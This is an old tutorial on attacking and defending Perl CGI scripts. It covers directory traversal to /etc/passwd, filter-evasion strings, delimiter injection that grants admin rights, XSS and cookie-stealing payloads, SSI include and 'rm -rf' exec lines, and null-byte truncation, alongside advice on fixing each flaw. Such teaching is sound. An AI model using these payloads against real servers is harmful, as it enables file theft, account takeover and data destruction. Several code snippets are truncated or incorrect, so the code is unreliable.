cgi hacking

Document Sample
cgi hacking Powered By Docstoc
					By by b0iler
by b0iler : : last update July 17th 2002
Written for : - my site full of other cool tutorials - a legendary site full of original tutorials

"Before I enter you to be victims of my stories, tales, lies, and exaggerations.."

Table Of Contents

-Useless babble


-Reverse Directory Transversal.
-Flat Databases.
-Cross Site Scripting
-NULL Byte.
-Problems With open()
-Perl Length Limits
-System Commands
-Evaluating User Input
-Poor Input Filtering

-Common CGI Exploits Project
-Real Life Examples - to help find your own holes



Welcome, my name is b0iler and I will be your guide throughout this paper. I hope you are ready and
willing as this next hour or so may get pretty ugly. With introductions out of the way I would like to state
that this is not meant to be a full guide to teaching people about perl security. There is just too many
different ways to exploit perl for one paper to cover. This paper is meant to help people secure their perl
when it is used as CGI, common programming security flaws, how to exploit them, how to prevent them,
and a means for me to show people how sexy perl is. This paper will not cover all the aspects of perl
security, but will try to touch on the basics of common programming vulnerabilities. This means I won't
mention stuff like how you should run your scripts at reduced privileges or how you should have
permissions set correctly on all files, this is just too much for me to cover.. and has been covered well by
many perl security tutorials. This is a perl CGI paper, covering only common mistakes in people's code.

You must already know a little bit of perl before reading this. Without the basic understanding of open(),
subroutines, and regex you will be lost and I will just laugh at you. But only the bare minimum is
required. If you have ever read Rain.Forest.Puppy's " Perl CGI problems " in Phrack #55 you will find that
this tutorial barrows a lot from that and many of the techniques used are covered in that paper. So why
am I writing this? Because although that paper was brilliant, it doesn't cover many problems in CGI
scripts and it is a very hard tutorial for a newbie to understand. I will go a little more slowly in this
tutorial and introduce many new problems I have found common in CGI scripts. I plan on covering the
basics of how many CGI scripts handle input and then cover a lot of techniques used by attackers to
exploit these CGI scripts.

CGI stands for Common Gateway Interface and is used on millions of sites worldwide. It allows visitors of
websites to issue commands on the remote server. Plain old html is static and doesn't allow any
processing by the server. CGI's can completely customize the web site and gives it a lot more power,
control, and functionality. CGI scripts are mostly coded in perl and to exploit them you should atleast
know the basics of perl and the operating system it is being ran on. The more you know about the
factors at play the easier you will be able to see the flaws in them. So if you know a lot about http (esp
headers), perl, and the operating system you will be good to go. CGI scripts are run server side, which
means a client (you) asks the server to run the script, the server runs the script and prints output to the
client. This also means that a CGI script cannot be a security concern for the client (you).. but can be a
big security concern for the server. Many big sites with people dedicated to network security have had
CGI scripts which are vulnerable to an attacker gaining information (reading files.. credit card databases,
passwords, company secrets, etc..), writing to files (adding to databases, defacing websites, add access
to services, change configuration files, etc..), or even executing commands (all of the above and more!).

Don't be overwhelmed by this tutorials size or difficulty. This stuff took me along time to learn. Hours of
experimenting, goofing off, auditting hundreds of scripts, and reading about perl was required inorder
for me to feel comfortable writing this. If you can understand most of the ideas discussed in this tutorial
in a month you are doing good. Don't expect to read it once and know how to exploit perl, I read RFP's
tutorial atleast a half dozen times before I understood every bit of it (learning more and more perl
inbetween reads). Keep this in mind while reading, and please read this paper more than once.

Just to state the obvious, this tutorial does have mistakes. Take nothing I say too seriously and don't use
my examples as a guide for proper perl coding. They are probably full of syntax errors and typos. Any
time I mention a way of getting around something or doing something there is probably another way to
do it, which fits perl's slogan (There's More Than One Way To Do It). If I did miss something that is
important email me at

CGI Syntax

First of all let me say that this is not a tutorial to learn CGI from. If you do not know how to code CGI
already then this tutorial might be a little too advanced for you. If you don't know perl then close your
web browser right now and buy a perl book. If you are rusty with CGI, or have the basic concepts down
it might be nice to read over a CGI tutorial or two before continuing. This section will just be a brief
overview of all the different ways users submit data to a CGI script. If you already know perl well you
may skip over this section, if not it might be a good idea to read it. Maybe you'll learn something, or it
might help keep the info fresh while you read the rest of the paper.

CGI usually requires some form of user input, without this it is almost pointless to use a CGI script. Perl
was not built with CGI in mind, as the web was not even created yet. So things get a little hairy for
people new to perl trying to pick up on how input is sent to the script. Basicly there is GET and POST.
These are the two main ways of getting data from the user. There is also Cookies and Environment
variables which can hold useful information some scripts use to make decisions on.

GET is the easiest to understand. It is data sent in the URL. You can see an example of this whenever you
visit a script.cgi file with ?something at the end. It is called GET because that is the method used in the
HTTP requesting, when your browser gets the file from the server (GET /cgi-bin/file.cgi HTTP/1.1)
Example: That ?something is what perl calls
the query string, it is stored in $ENV{'QUERY_STRING'} and is often handled like this:
#script.cgi?sometext would make $file = 'sometext' $file = $ENV{'QUERY_STRING'};
or when using multiple values:
#script.cgi?some&text would make $name = 'some' and $file = 'text' ($name, $file) = split(/&/,
or for a more advanced way put values in a hash:
@pair = split(/&/, $ENV{'QUERY_STRING'}); foreach $pair (@pairs){ ($name, $value) = split(/=/, $pair);
#used to make + into spaces $value =~ tr/+/ /; #used to convert url encoding (hex) to ascii $value =~
s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; $FORM{$name} = $value;
#script.cgi?name=some&file=text #would make $FORM{'name'} = 'some' and $FORM{'file'} = 'text' }
Here is a simple example of a GET request. It would be nice if you knew alittle more about HTTP than
what I'll explain in this tutorial. Infact I am writting an intermediate tutorial on HTTP right after this one
is finished.
GET /script.cgi?some&text HTTP/1.0
The other basic kind of way users input data is through POST, which sends the values in the HTTP
header. Relying on values sent on client side is not secure, never think just because you are using POST
data that it is any safer than GET.

POST data comes from forms you fill out on webpages and is sent to the script as the STDIN. Some
values sent to the script can be hidden, you normally cannot veiw or edit these values in a web browser
since the HTTP requests are kept from the end user. POST gets it's name from the HTTP request method
used (POST /cgi-bin/file.cgi HTTP/1.1) Here is an example of an HTML for which would submit 'name'
and 'file' data in a POST.
<form action="script.cgi" method="post"> <input type="text" name="name" value=""> <input
type="hidden" name="file" value="profiles.txt"> <input type=submit value="submit"> </form>
And this would be a commonly seen way to handle POST data. All form fields are put into
#read POST data into $buffer read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'}); @pairs = split(/&/,
$buffer); foreach $pair (@pairs) { ($name, $value) = split(/=/, $pair); #used to make + into spaces $value
=~ tr/+/ /; #used to convert url encoding (hex) to ascii $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C",
hex($1))/eg; #this would set $FORM{'name'} = whatever the user put in the text field #and $FORM{'file'}
to profile.txt $FORM{$name} = $value; }
Works kinda like the GET, but you use read() to read the STDIN, which is sent as content in the POST
request. CONTENT_LENGTH is used to tell the script how much to read, this will be included in the POST
request. All this works alittle bit different than GET requests do, but the CGI module works the same for
GET as it does POST. This makes it alittle more easy to remember and nicer to work with. Many scripts
rely on user submitted data to make desisions and take actions. Sometimes the authors trust the user
not to change hidden form data. such as changing.
<input type="hidden" name="file" value="profiles.txt"> to <input type="hidden" name="file"
And then submitting the data. As stated before, POST data is just sent with the HTTP request (as
content) This means you can very easily send these values yourself with a script or even just telnet. An
easy method for beginners is to get proxomitron and edit hidden input fields. This also means you can
bypass any kind of client side security, such as javascript checks, the http_referrer value, or html (form
values). Never trust data coming from POST anymore than you would data comming from GET or
anywhere else, values can be very easily changed by attackers. Read the HTTP rfc for more information
on how exactly HTTP works or get proxomitron to change html client side. I prefer learning and knowing
things indepth, which means doing it by hand with telnet or a script I code and not with proxomitron.
Here is a quick example of a POST request:
POST /script.cgi HTTP/1.0 Content-Length: 23 Content-Type: application/x-www-form-urlencoded
POST data is a bit harder to do by hand than GET, but taking advantage of a programming language
things can made fairly simple with a bit of effort. Recieving POST and GET data isn't very hard to do, but
it is alot easier to let the CGI module handle everything for you. Also makes your code a little easier to

There is also a very commonly used module for easily handling GET and POST data. This is the CGI
module, and is often used like this:
use CGI; #$value is a new CGI $value=CGI->new(); $file = $value->param('file');
#script.cgi?name=some&file=text $name = $value->param('name'); #would make $name = 'some' and
$file = 'text'
I would recommend using the CGI modules for your own scripts, it is easy to understand and works very
well. Hope you know enough perl to understand the above examples. Lets move on to the other main
type of user input.

Cookies are a small bit of data which sites can put on your computer inorder to help identify you or keep
records of your visits. Cookies can also be left to javascript or html meta tags. But you should be aware
that perl can set cookies (using HTTP Set-Cookie header), and that data can be sent to a script in the
form of cookies (in HTTP requests). I will not bother with an example of how to set/read cookies.
Cookies aren't quite used as often as GET and POST, since they are used in just about every CGI script. If
you want to learn try looking into the CGI module and the details of how cookies work.

As seen before with $ENV{QUERY_STRING} and $ENV{'CONTENT_LENGTH'} the %ENV hash contains
many useful variables that hold information about the scripts environment. Since some of these
variables can be effected by user input they need to be fully understood by anyone coding CGIs or trying
to find vulnerabilities in CGIs. Here is a short list of some of the often abused and helpful in terms of
security ENV variables.

Type of method the request was made in: GET, HEAD, POST, PUT etc..

Any characters after the ? in the GET request (the url).

The hostname of the client. Sometimes server cannot resolve this, then it sets REMOTE_ADDR and not

The IP address of the client.

How client is authenticated.

Username of authenticated client.

When a request has attached data the type of data is set in this.

The browser the client is using.

Of course QUERY_STRING is the most abused, but you would be suprized how often things like
HTTP_USER_AGENT can be misused to cause the script to do something it shouldn't. Most of the others
on this list are there because they can help make the CGI more secure. There are alot more, but I won't
bore you explaining some you will never use and don't pertain to security at all. Instead do this to print
out all the values in %ENV
while($ename = each(%ENV)){ print "$ename = $ENV{$ename}\n"; }
This section was in no way detailed, if you do not know how HTTP headers are sent you should spend
some time researching this and other aspects of how CGIs work. I just wanted to get you fimiliar with all
the different ways users can send data to the script. Now that we know how we are sending data to the
scripts, lets see how we can abuse this priviledge and prevent others from abusing our stuff.

Problems With Perl As CGI

The reason I call this section "Problems With Perl As CGI" is because CGI scripts can be coded in pretty
much any language. Although they are commonly coded in Perl. This is the most important part of this
paper, do not skip any sections. Even if you think you know about a subject I will be introducing some
new techniques and ideas.

Reverse Directory Transversal
We start our adventure into the realm of CGI vulnerabilities fairly simple. If you know even the basics of
the unix file system and alittle bit of Perl you will be able to understand why this is a problem. It is a very
common vulnerability called "Reverse Directory Transversal". Which means you can move to a directory
which the script is not supposed to access (the reverse means going backwards: ../). This can allow you
to read, write, delete, execute, etc.. files in a different directory than what was intended. Here is your
common open() call:
open(FILE, "/home/user/file.txt");
Now the same exact thing but using a variable to determine which file to open:
$this = '/home/user/file.txt'; open(FILE, "$this");
Both of these open the file /home/user/file.txt and nether of these are vulnerable at all. They are safe
from remote attacks. Now what happends if $this is defined by user input?
$this = $ENV{'QUERY_STRING'}; #gets the user input into $this open(FILE, "$this"); #opens that file
@stuff = <FILE>; #puts contents of that file into @stuff array close(FILE); print "Content-type:
text/html\n\n"; #print html to the client print "<HTML><BODY>\n"; print @stuff; print
Now evil_attacker will make QUERY_STRING something like: /etc/passwd or any other file they would
like to read on the server. There is another way to get to different directories you want to. Lets say the
author thought they would be safe to put a hard coded directory before the inputted file.
$this = '/home/user/'; (undef, $this) .= split(/?/, $ENV{'QUERY_STRING'}); open(File, "$this");
Now you can't simply put /etc/passwd, but you can use ../../etc/passwd =) Most reverse directory
transversal exploits will have many ../'s in them. And it is probably the most attempted exploit regarding
unknown CGIs. Attackers see script.cgi?file=database.txt and they immediately try
script.cgi?file=../../../../etc/passwd. So what if the script has the following for protection against reverse
directory transversal:
$this = '/home/user/'; (undef, $this) .= split(/?/, $ENV{'QUERY_STRING'}); $this = s/\.\.\///g; #gets rid of
../ in $this open(File, "$this");
This looks safe. But if we know enough about unix and perl regex we can see a flaw. That is
.\./.\./etc/passwd =) In unix you can use .\./ for ../ so if an attacker inputs .\./.\./file the regex
"protection" will not see ../ in the string and will not filter it. So you are thinking "just s/\\//g aswell".
Lets look at the following:
s~\\~~g; ( or s/\\//g; ) s~\.\./~~g; ( or s/\.\.\///g; )
that gets rid of ../ and .\./ very well. To the non security aware perl coder they have completed the task,
they have filtered these two types of reverse directory transversal methods. Real security programmers
should always be thinking of possible ways users can evade the filters and do things which weren't
meant to be done. So lets really look at what these two filters are doing. They are removing '../' and '\'
from a string. So something like 'f\ilter\ed' would become: 'filtered'. And '.../...//' would become '../' Oh
no =) This is a very exploitable filter that tons of CGI scripts use. Even some "secure" scripts and
programmers use these types of filters and never think twice about their security. I will discuss this
method of evading filters later.

So how can you stop attackers from reading/writing to any file on your system? First make sure all key
files are chmod'd correctly! There are webhosts out there that have files default to 777! Anyone can use
a CGI script to read/write any file or directory. You need to atleast set the permissions of the index of
your site and all scripts and databases so that nobody abusing a CGI script can write to it. If linux ext2 I'd
suggest the chattr command. Infact, any index.html that isn't updated often should be chattr'd and have
a higher privilege than nobody or www. Also create index.html, index.shtml, index.cgi, index.htm and
any other possible extentions. This will stop defacers from just creating an index with a different file
extention which will be the default one before yours. That was just a VERY brief warning to you
webmasters out there, but file permissions is a very key part of CGI exploitation. I won't really cover any
more about them other than to make sure CGI has as little permissions as possible and to only allow files
which NEED to be accessed by CGI scripts have a low enough permission to be read/write by nobody.

/me slaps b0iler with a "stay on topic for dummies" book

To actually secure your scripts you need a good input subroutine. Don't just accept user input, don't just
filter user input, deny user input! Way too many scripts try to correct user input instead of deny it. This
is a great problem. Even security professionals make mistakes with regex. Another thing is that
sometimes perl coders forget to regex a certain meta character. The meta characters are:
&;`'\"|*?~<>^()[]{}$\n\r and they need to be filtered very carefully if you are using s//. Here is an
example from a script I recently looked at:
$filename =~ s/([\&;\`'\|\"*\?\~\^\(\)\[\]\{\}\$\n\r])/\\$1/g; $filename =~ s/\0//g; unless (open(FILE,
If you notice they forgot to filter out \, so when you enter something like $filename = touch afile.txt\| it
will turn out as touch afile.txt\\| which means the \ that is used to escape the meta characters is
escaped instead of the |. This error is also in a few perl security papers, so it is fairly widespread in
scripts. Again, incase you didn't understand, to exploit this filter you can escape their escape on your
meta character. So if $filename = '/bin/echo "haha" > file.txt|' it would become /bin/echo "haha" >
file.txt\|' which would not work. So try $filename = '/bin/echo "haha" > file.txt > blah\|' which will make
it become '/bin/echo "haha" > file.txt > blah\\|', now the \ that the script is escaping your | with is now
the character being escaped. There are many more examples of regex not filtering properly. I will discuss
these more indepth later. I say unless you have to (shouldn't be very often) filter input don't. Instead, if
the user submitted something they shouldn't the script should stop right there. Don't try to correct the
problem. For instance.. if someone is inputting a pipe | into the script they are doing something wrong..
probably trying to hack it. So why correct this? Just tell them "illegal characters detected" and stop. This
makes things such as the two regex problems listed above much more pain free and less likely to be
circumvated. Here is an example of this:
if($file =~ /[\&;\`'\|\"*\?\~\^\(\)\[\]\{\}\$]/) { &ErrorPageAndLog('illegal characters detected.. you have
been logged'); }
This way even if you did forget the \ another meta character will be spotted and the error page will be
produced anyways. To filter for \ just add a \\ in there. Now that your eyes are bleeding from regex, lets
continue to a less hairy problem in perl scripts =)

Flat Databases
When I talk about flat databases I am talking about plain text files used to store data. This could be
database.txt, database, file.db, or any number of others. Basicly there are two major problems with
using flat database. First one we will cover is a perl problem, second is a misconfiguration problem.

Flat databases need to use someone to break up the input. For instance, if a message board script puts a
users name, email address, and message into messages.txt it will need to some how keep that data
separate when it reads it. It's better explained with an example =)
use CGI; #$input is a new cgi $input=CGI->new(); #get GET/POST variables $name = $input-
>param('name'); $mail = $input>param('mail'); $message = $input->param('message'); #print to
messages database open(DB, ">>messages.txt"); print DB "$name|$mail|$message\n"; close(DB);
This will put the 3 inputted variables into messages.txt, each one seporated by a |. When the message
board script goes to read the messages this is what the code will look like:
#read messages database open(DB, "<messages.txt"); @messages = <DB>; close(DB); #print html print
"Content-type: text/html\n\n"; print "<HTML><BODY>\n"; #loop through all the messages foreach $msg
(@messages){ #split the database fields up ($name, $mail, $message) = split(/\|/, $msg); print "message
by: <a href="mailto:$mail">$name</a>\n"; print "<br><br>\n$message\n<br><br>\n"; } print
The problem in this should jump out to any attacker. Even if the problem isn't too big a deal in this
example. No user input is filtered or denied whatsoever. And since each variable is seporated by a | and
each post is on a newline you can submit things like
flood|flood|flood\nflood|flood|flood\nflood|flood|flood\nflood|flood|flood\n to post
hundreds/thousands of messages.

With a message board this isn't the biggest threat, but lets take another example. This is a script I found
that puts username|password|visits|user-agent|admin|ipaddress the admin field is 1 if the user is an
admin, 0 if they are a normal user. So what happends when input isn't filtered and someone signs up
with the username of - b0iler|a|1|linux|1||\nfake? that's right.. it sets their username as
b0iler, password as a, visits to 1, user-agent to linux, *admin to 1*, and ip address to then

does a line break and prints fake (which will be another username          . Now I have admin to the script.
It might go without saying, but sometimes scripts assume that the admin of it can be trusted with input.
I've seen a few dozen scripts where they secure all normal input, but have multiple insecurities in the
admin section which can range from path discloser to full blown command execution. Also if you can
find out things like what the admin's password to the script is, or to .htpasswd files chances are that
they use the same password for the site's ftp/ssh/telnet. admins, use different passwords for everything
- even users, since you can't trust admins with not trying your passwords on your email accounts and
such. I've heard of someone getting rooted this way, signing up for a site and using their root password

Many scripts will filter inputted username's and password's and other form variables, but they don't
even look at user-agent, referrer, or any other http headers which get printed to the database! Make
sure to filter these if you use them in the database or to make any decisions. Also try to use just one
character for the delimiter, if you use two then certain filtering situations can happen which lead to
evasion of your delimitor filter (see filtering user input section for more details).

The other problem I see with flat databases is that the webserver is misconfigured to allow clients to
read the databases! This means all you have to do is go to
bin/ to see the database. Other file extentions apply besides just .txt, pretty much
anything not defined in the apache configuration as something different is downloadable. There are
several ways to fix this, two simple ones are to create this .htaccess and put it in your directory with the
database.txt file:
<Files "*.dat"> order deny,allow deny from all
or you could name the database file database.cgi so that when a client requests it the webserver sends
it through perl first. Perl will then create an error 500 page instead of allowing the client to read the file.
There was a problem with older php scripts using .inc for includes, which held sensitive information and
could be read by clients. So they switched it to making includes .php so they are ran through php and
not displayed. But this also introduces a new problem.. now php programmers need to be aware that
their includes can be directly called and will be parsed by the server. (sometimes includes trust that the
script including it will have done something or that the data it is sending it is safe -- enough about php).

You could also name the databases starting with a . which apache will prevent people from viewing this
file from the web. Or you could just not put the database in a web readable directory. For example if the
website's root directory is /home/ then put the database in

There is also the problem of having vulnerabilities in other scripts or services running on the box which
will allow an attacker to read this plain text file. With mysql or any other databases which require a valid
login and password this would prevent this sort of thing from happening. Although I stress that sql is not
always the answer, if you are just going to read all of the data then sql is just a waste. It is ment to speed
up sorting/finding small bits of data from a large collection. SQL has alot of power, and with this power
comes possibility for exploitation. This type of vulnerability is called SQL injection, since you are injecting
SQL into the SQL query. This attack is normally very easy to do and requires minimal SQL knowledge or
testing. Not a whole lot of perl scripts use SQL, but a ton of php scripts do. I may decided to add an SQL
injection section to this tutorial on a later date, but for now read some sql security/exploitation papers ( ).

Cross Site scripting
Cross Site scripting refers to being able to run script on a clients machine as if it came from a site. Not
your own of course - and the script shouldn't normally be there. Most commonly it is user input that is
printted to the client, but it can come in other forms. You might also see it called CSS which I feel is
pretty bad since it confuses people with Cascading Style Sheets, so XSS is what I'll call it from now on.
XSS isn't really a very dangerous problem in most situations, but as I discussed in detail in my hacking
with javascript tutorial it can be a security concern for sites which store information in cookies. I don't
even really concider it much of an exploit unless the script uses cookies to identify a user or users can do
things once logged in. In a recent script I found that stores admin username's and password's in cookies
and allows them to login with just a cookie you could proform a cross site scripting attack against the
admin of that site, get his cookie and then have complete control over the script. I also found a
command execution in the admin part of that script, so once you have the admin cookie you can
execute commands.

Here is an example to better show what XSS is and how it works.<script type=text/javascript>alert('hello');</script>
Script.cgi is a perl script that will display the inputted text somewhere on the html page it outputs to the
client (the user's browser). This means the <script type=text/javascript>alert(hello);</script> will get ran
by the web browser and will have been ran as if it came from that domain. Therefore has access to
cookies and other goodies. The other goodies include the current url which can contain username,
passwords, session ids, and other sensitive info. They can redirect users to another script on that site or
submit data to a script which could do things such as delete email, send email, add an admin to the
database, steal credit card numbers, and virtually anything that a user can do once logged in.

The most commonly vulnerable scripts to cross site scripting are shopping cart scripts and web email
scripts. Since they require a user to login, and actions can be taken depending on what data the user
submits. Web email scripts also have the nice feature of being able to send an email with the javascript
in it to read/delete/send email and change the user password. I found this out with a large script I
auditted awhile ago.

It's hard to point out exactly how to find cross site scripting vulns. But basicly just look for any user
inputted data that is printted directly to the client without any filtering. Also things like message boards
that don't filter html can have posts with scripting in them. Here is a very simple (and common) cross
site scripting problem:
use CGI; #$input is a new CGI $input=CGI->new(); $email = $input->param('email'); #checks for valid
email address: if($email !~ /^(\S+)\@(\S+).(\S+)/){ #prints $email to html,
totally unfiltered. &printhtml("error: $email is not a valid email address"); } else{
&processemail("$email"); }
Now if you input something like <script type=text/javascript> alert(hello);</script> as your email address
the error message will be printted to the client and the javascript will be ran by the browser. The most
common cross site scripting attacks focus on redirecting the user to a script that does something (send
email), steals cookies, or submits form data automaticly.

Stopping XSS is not very easy. You can filter for & ; # ( ) < and >. And also use filtering for things like /, :,
'javascript', and escaping ' and " isn't too bad an idea. But javascript can be made so that it can make
strings even without ' or ", so do not trust any of this filtering 100%.

Filtering for the string 'script' will not work, there is spechial encoding for html which can evade this type
of filtering. Many scripts which allow some form of html try to block script and disallow 'onload',
'onclick', 'onmousover', and other actions which can execute javascript. This is extremely hard to do. It
would be nice if there was a html tag you could use to make the browser not parse any scripting. Since
there isn't you must go through the pain of filtering or blocking all possible ways to insert javascript. I
would say to allow a very minimum group of characters. For example only allow input to contain A-Za-
z0-9. Nothing else. Once you try to filter out only the bad strings you are left with all sorts of possible
ways to evade the filters and still print javascript. One way is that the attacker could just include the
source of the script with src. Some examples of this are:
<script src=""></script> <layer
src=""></layer> <ilayer
src=""></ilayer> <style type=text/css>@import
url(;</style> <link rel=stylesheet type="text/javascript"
As you can see, some of these don't even contain the string 'script' in any way. There are many other
ways of inserting javascript, and their is certain ways for each browser that only work for that browser.
So stopping them all is almost hopeless. Incase you run into a script which tries to filter everyway of
adding javascript, here are a few more ways which can often get by filters (also the frame, applet,
object, embed tags and more):
<img src="javas cript:alert('xss');> - line breaks and spaces can be used to evade filters. &{alert('XSS')}; -
works for netscape 4.x and can be used in many tags: <br size="&{alert('XSS')}"> <style
type="text/javascript">alert('XSS');</style> - using style tag instead of script.
Of course even more ways which javascript can be put in seemingly innocent tags by the way of on*
events, css, or others
<img src="javascript:alert('XSS');"> - javascript in an img tag <body onload="alert('script')"> - javascript in
on onload event (there are other on* events). <p style="left:expression(eval('alert(\'XSS\')'))"> - css in a
p tag
Don't forget that there is more client side scripting languages than just javascript. Many clients support
others, and many scripts don't filter for anything but javascript (also activex, java, flash, actionscript, and
<img src="vbscript:code here"> <img src="mocha:code here">
If that isn't enough to worry about, you also should be converting all character encoding to UTF-8 before
doing any filtering for XSS. Although most clients which visit your site might use one type of character
encoding you cannot be sure of this. And after all that, I am sure there are plenty more ways to evade
XSS filtering. Trying to stop XSS in scripts is extremely complicated. It is hard to be sure you did not
forget or miss something without only allowing safe characters or filtering all < and > besides the ones
you are sure are safe. You could also trust other's code by using modules that filter for XSS, check out for more on this.

Cross site scripting may be a hard thing to stop in scripts that print user input to the client, but here are
a few things you can do to help minimize the likely hood of serious problems:

Don't put any sensitive info in cookies. This is way to easy for attackers to get using XSS. Putting
username and passwords in a cookie is never a good form of security and should be advoided at all
costs. Even if the cookie is encrypted. Many times the script automaticly logs users in based on their
cookie, but the cookie is encrypted for security. This makes no sense as once someone has the contents
of the cookie the security is completely broken.

Don't print user input to .html pages or any file which will be used to print html. This just makes it easier
for attackers to get people to view the page with the malicious scripting. And if the page allows SSI you
are asking for trouble (see a few paragraphs down).

Don't allow users to change settings without having to type in password. If you allow users to do
something just based on the fact that they are logged then XSS can exploit the fact that they are already
logged in to send them to a url or submit form data automaticly.

Don't print passwords, session ids, credit cards, or anything sensitive in the url, cookie, or html. These
things things can be grabbed by the scripting and sent to a logger. Even if a user is logged in try not to
print anything which other people should not see. A classic example of this problem is having the users
password in a form:
your password is currently: PASSWD Change password: Retype new password:
Things such as requesting a password to be emailed to them and then exploitting web based mail to
read their inbox is a possibility. Many scripts over look this and trust that once a user logs in they are the
ones doing everything.

Disable scripting on sites you which you are admin. It is too dangerous and too hard to tell if you are
secure from XSS or from browser exploits. This means turning off the scripting ability in your client when
you visit this site, since XSS is ran client side this will stop any XSS attacks on you.

Here are a few practical examples of how SSI can be dangerous. The most common type of attack is a
cookie stealing attack which takes your cookie and submits it to a CGI script.
<script>document.location.replace('' + document.cookie);</script>
If this is printted to the client's browser it will sent them to that cookielogger.cgi with the
QUERY_STRING being their cookie for that domain. This cookielogger.cgi would be a simple script that
logs whatever is inputted into a logfile. Another common thing to do is attack people while they are
logged in. Scripts such as web based email or a content management system like phpnuke allow you to
change your options, such as your password. To change your password the javascript just needs to
submit data to a script while you are logged in. This is very easy to do and can takeover an account
instantly. Leaving the victem out in the cold, usually dumbfounded as to what just happend.

There are almost unlimited ways javascript can be used to make an attack. For more ways look at the
thread in bugtraq started on Mar 16 2002 by

The following are the replies which actually stat something true or useful. Most posts in this thread were
confusing XSS with remote file writing, also some things people said were just wrong. But there are
some good ones.

I might get alot of flack for this, but I feel that XSS is currently over hyped. People are sending advisories
to bugtraq saying that sites and scripts are vulnerable to XSS when there is no real security concern. I
feel that XSS is only a valid security problem if it can be used to gain access to something protected.
Instead of blaming XSS for the problems, I would blame doing things which allow XSS to be abused.
Things such as storing username and passwords in cookies, allowing logged in users to access or changes
things without resubmitting a password, or having the session id somewhere accessable to client side
scripting. Now I am not saying XSS isn't a security problem, but it requires another variable to be
abused. In many instances XSS is not a security concern at all, and other times when it is a problem the
script should fix the other variables which XSS can abuse. Many XSS attacks require alot of social
engineering to work, so exploitation is trival. This is not a reason to say XSS isn't a problem, but it helps
people realize that it isn't as big a threat as some people believe. XSS is just too common a problem and
too hard to stop, instead I suggest focusing on keeping things secure even if XSS is possible. XSS is a
security problem, and it is being abused everyday... but currently people are going alittle nuts about it.
What I am trying to say is: don't just blame XSS as the only problem when you store username and
passwords in the user's cookie, in this case the overall script design is poor.

SSI stands for Server Side Includes, it is ment to be a very basic way to make your pages alittle more
dynamic and easier to maintain. You can include files to be printed to the client, execute commands,
and even do a limitted amount of scripting with it. Since SSI is ran server side it really isn't a cross site
scripting problem at all, it is a basic file writing problem. I am including it in this paper just to inform
people who depend on SSI and any kind of scripting that they could be easily attacked with just a file
writing exploit or bad permissions. With SSI enabled on a webserver and a script prints user input to a
page that allows SSI then there is a chance attackers can include files and execute commands when they
view that page. The syntax for an SSI include is:
<!--#include file="/etc/passwd" -->
This would make the contents of the /etc/passwd file print on that page just like it was hard coded
there. The sure way to tell that SSI can be used on a page is the extention .shtml, but you never can tell
for sure that .htm or .html files don't parse SSI. It all depends on the webservers set up. Any 'secure' site
running SSI will have the command execution feature turned off, so things like this won't work:
<!--#exec cmd="rm -rf /home/you/www" -->
Many scripts filter for this by using the following regex (it's pretty much the standard for filtering SSI):
@pairs = split(/&/, $ENV{'QUERY_STRING'}); foreach $pair (@pairs) { ($name, $value) = split(/=/, $pair);
$value =~ s/<!--(.|\n)*-->//g; $FORM{$name} = $value; }
Now that $value =~ s/<!--(.|\n)*-->//g; is what is filtering SSI. For the most part is works very well. No
encoding can be done to get around this since it is server side intrepreted and even line breaks won't
work with SSI. But if the user inputs two values which are both printed to the shtml page one after
another? I have seen a few guestbooks and message boards that print things like "<br> $username
$email <br><br> $message <br>". Where you could input username as <!-- and email as #exec cmd="ls"
--> which would execute the command ls. Filtering is a very important part of Perl security, always try to
imagine how you could get past the filtering and still do what you want... sometimes very strange things
will work perfectly and get past the filters. Let's see that SSI filter again, it is supposed to stop <!--
#anything -->
$value =~ s/<!--(.|\n)*-->//g;
now lets think about how we got around s/\.\.\///g; by making the filter change the string into a bad
string (making .../...// into ../) Let's try the same thing here by submitting
<!-<!-- #nothing -->- #include file="/etc/passwd" -->
Nope, this does not work, why? Because perl's backticking feature in regex that finds the first part then
starts searching from the end of the string for the rest. So it finds the first <!-- then goes to the end and
finds the first -->. Making the string into just: <!-

Let's step back for a second, is there any possible way of getting around this? <!-<!-- -->- #include
file="/etc/passwd" -<!-- -->-> Won't work ether, since perl will again find the first <!-- and the last --> and
replace it with nothing.

I brainstormed for about 30 seconds for possible ways to get around this filter. I didn't really see any
besides that one I talked about earier with using two variables side by side ($ssivar1 $ssivar2). So I
hoped on to a shell with ssi and did about 3 tests. First one was to see if SSI worked correctly. Second
was so silly I don't wish to mention it. And the third and final test was:
<html> <body> <did it.... <!-- #include file="testfile.txt" - -> </body> </html>
Which worked. As you can see I just added a space in between the two dashes in -->. So now we can
easily get around the SSI filter and still execute SSI on pages which are parsed by SSI. Even sites that
have .html files only still can be using SSI. Many sites just do a 'AddHandler server-parsed .html' and
keep the .html extention. Some even do this just so attackers do not know all their pages are full of SSI.
If anyone runs into problems where a system does not work with the space between the two dashes
give me an email, I only tested it on one box. I have a few other ideas on how to evade this filter and still
allow SSI to still be parsed, but I stopped when the space trick worked.

There is another type of SSI, which is mod-perl's version of including perl scripts into html. This is also a
possible security concern and I will address it more indetail at a later time. Right now know that it exists
and do alittle research into how to possibly abuse it.

Ok, enough kids stuff. Lets start to get serious with perl and exploitation. This null byte problem is
incredably serious and very inventive. Who ever found this bug out deserves massive respect. The
problem is that \0 (or 00 in hex) is the NULL Byte, and perl sees the NULL Byte as the NULL character,
but C does not. And system calls such as open() and exec() are passed to the operating system. Unix is
coded in C.. and the NULL Byte in C is a string terminator. Meaning that the string stops when there is a
NULL Byte. This probably doesn't make much sense right now, but as always the example will help you
understand (it's sad.. I code better than I speak)
#get input and put it into $file $file = $ENV{'QUERY_STRING'}; #convert url encoding to ASCII (%00 will
become the NULL Byte) $file =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; $filename =
'/home/user/' . $file . '.txt'; open(FILE, "<$filename");
Now what does this script do? It takes $file and puts /home/user/ infront of it and .txt at the end. This is
used to "make sure" the file opened is a.txt file. But when you send something like script.cgi%00 to it
then perl will send /home/user/script.cgi\0.txt to C which will see it as /home/user/script.cgi since it
stops at the Null Byte. So it will open /home/user/script.cgi instead of a .txt file. This means you can do
things like ../../../../etc/passwd\0.

Many scripts do not filter the NULL Byte and they depend on adding file extentions to stop you from
reading any file on the system. The fix is as simple as $file =~ s/\0//g; After you convert url encoding to
ASCII, please notice this. A few scripts I've seen filter null byte before they convert url encoding to ASCII.
This is pretty much pointless.

